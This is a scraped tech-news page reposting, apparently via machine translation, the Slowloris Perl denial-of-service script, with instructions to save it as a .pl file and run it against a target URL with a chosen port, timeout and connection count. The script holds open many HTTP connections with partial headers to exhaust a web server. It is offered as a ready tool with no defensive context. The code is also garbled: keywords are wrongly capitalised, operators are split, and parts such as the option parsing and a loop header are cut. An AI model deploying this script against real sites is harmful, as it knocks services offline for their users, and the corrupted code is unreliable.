Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Slowsloris code

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

#! / usr/bin/perl-w

Use strict

Use IO::Socket::INET

Use IO::Socket::SSL

Use Getopt::Long

Use Config

$SIG {'PIPE'} =' IGNORE'; # Ignore broken pipe errors

Print\ $host

'httpready' = >\ $httpready

'num=i' = >\ $connections

'cache' = >\ $cache

'port=i' = >\ $port

'https' = >\ $ssl

'tcpto=i' = >\ $tcpto

'test' = >\ $test

'timeout=i' = >\ $timeout

'version' = >\ $version

);

If ($version) {

Print "Version 0.7\ n"

Exit

}

Unless ($host) {

Print "Usage:\ n\ n\ tperl $0-dns [www.example.com]-options\ n"

Print "\ n\ tType 'perldoc $0' for help with options.\ n\ n"

Exit

}

Unless ($port) {

$port = 80

Print "Defaulting to port 80.\ n"

}

Unless ($tcpto) {

$tcpto = 5

Print "Defaulting to a 5 second tcp connection timeout.\ n"

}

Unless ($test) {

Unless ($timeout) {

$timeout = 100

Print "Defaulting to a 100 second re-try timeout.\ n"

}

Unless ($connections) {

$connections = 1000

Print "Defaulting to 1000 connections.\ n"

}

}

My $usemultithreading = 0

If ($Config {usethreads}) {

Print "Multithreading enabled.\ n"

$usemultithreading = 1

Use threads

Use threads::shared

}

Else {

Print "No multithreading capabilites found!\ n"

Print "Slowloris will be slower than normal as a result.\ n"

}

My $packetcount: shared = 0

My $failed: shared = 0

My $connectioncount: shared = 0

Srand () if ($cache)

If ($shost) {

$sendhost = $shost

}

Else {

$sendhost = $host

}

If ($httpready) {

$method = "POST"

}

Else {

$method = "GET"

}

If ($test) {

My @ times = ("2", "30", "90", "240,500")

My $totaltime = 0

Foreach (@ times) {

$totaltime = $totaltime + $_

}

$totaltime = $totaltime / 60

Print "This test could take up to $totaltime minutes.\ n"

My $delay = 0

My $working = 0

My $sock

If ($ssl) {

If (

$sock = new IO::Socket::SSL (

PeerAddr = > "$host"

PeerPort = > "$port"

Timeout = > "$tcpto"

Proto = > "tcp"

)

)

{

$working = 1

}

}

Else {

If (

$sock = new IO::Socket::INET (

PeerAddr = > "$host"

PeerPort = > "$port"

Timeout = > "$tcpto"

Proto = > "tcp"

)

)

{

$working = 1

}

}

If ($working) {

If ($cache) {

$rand = "?" Int (rand (99999999999999))

}

Else {

$rand = ""

}

My $primarypayload =

"GET / $rand HTTP/1.1\ r\ n"

. "Host: $sendhost\ r\ n"

. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\ r\ n"

. "Content-Length: 42\ r\ n"

If (print $sock $primarypayload) {

Print "Connection successful, now comes the waiting game...\ n"

}

Else {

Print

That's odd-I connected but couldn't send the data to $host:$port.\ n "

Print "Is something wrong?\ nDying.\ n"

Exit

}

}

Else {

Print "Uhm... I can't connect to $host:$port.\ n"

Print "Is something wrong?\ nDying.\ n"

Exit

}

For (my $I = 0; $I "$tcpto"

Proto = > "tcp"

)

)

{

$working [$z] = 1

}

Else {

$working [$z] = 0

}

}

Else {

If (

$sock [$z] = new IO::Socket::INET (

PeerAddr = > "$host"

PeerPort = > "$port"

Timeout = > "$tcpto"

Proto = > "tcp"

)

)

{

$working [$z] = 1

$packetcount = $packetcount + 3; # SYN, SYN+ACK, ACK

}

Else {

$working [$z] = 0

}

}

If ($working [$z] = = 1) {

If ($cache) {

$rand = "?" Int (rand (99999999999999))

}

Else {

$rand = ""

}

My $primarypayload =

"$method / $rand HTTP/1.1\ r\ n"

. "Host: $sendhost\ r\ n"

. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\ r\ n"

. "Content-Length: 42\ r\ n"

My $handle = $sock [$z]

If ($handle) {

Print $handle "$primarypayload"

If ($SIG {_ _ WARN__}) {

$working [$z] = 0

Close $handle

$failed++

$failedconnections++

}

Else {

$packetcount++

$working [$z] = 1

}

}

Else {

$working [$z] = 0

$failed++

$failedconnections++

}

}

Else {

$working [$z] = 0

$failed++

$failedconnections++

}

}

}

Print "\ t\ tSending data.\ n"

Foreach my $z (1.. $num) {

If ($working [$z] = = 1) {

If ($sock [$z]) {

My $handle = $sock [$z]

If (print $handle "Xmura: B\ r\ n") {

$working [$z] = 1

$packetcount++

}

Else {

$working [$z] = 0

# debugging info

$failed++

$failedconnections++

}

}

Else {

$working [$z] = 0

# debugging info

$failed++

$failedconnections++

}

}

}

Print

"Current stats:\ tSlowloris has now sent $packetcount packets successfully.\ nThis thread now sleeping for $timeout seconds...\ n\ n"

Sleep ($timeout)

}

}

Sub domultithreading {

My ($num) = @ _

My @ thrs

My $I = 0

My $connectionsperthread = 50

While ($I

< $num ) { $thrs[$i] = threads->

Create (\ & doconnections, $connectionsperthread, 1)

$I + = $connectionsperthread

}

My @ threadslist = threads- > list ()

While ($# threadslist > 0) {

$failed = 0

}

}

_ _ END__

Save as pl suffix file

Usage:

Perl zkj.pl-dns url-port 80-timeout-num 100-cache

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report